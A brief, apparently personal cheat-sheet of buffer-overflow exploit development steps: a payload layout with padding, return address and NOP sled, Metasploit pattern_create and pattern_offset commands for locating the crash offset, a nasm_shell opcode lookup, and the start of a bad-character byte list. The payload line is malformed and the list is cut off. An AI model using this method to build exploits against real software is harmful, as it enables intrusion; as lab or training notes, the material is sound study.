Buffer Overflow

Some of the things used within BO.

Payload

payload = "\x41" * + <ret_address> + "\x90" * 16 + + "\x43" * <remaining_length>

Pattern Create

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <length>

Pattern Offset

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <length> -q HEX

nasm

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm > jmp eax

Bad Characters

badchars = (
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
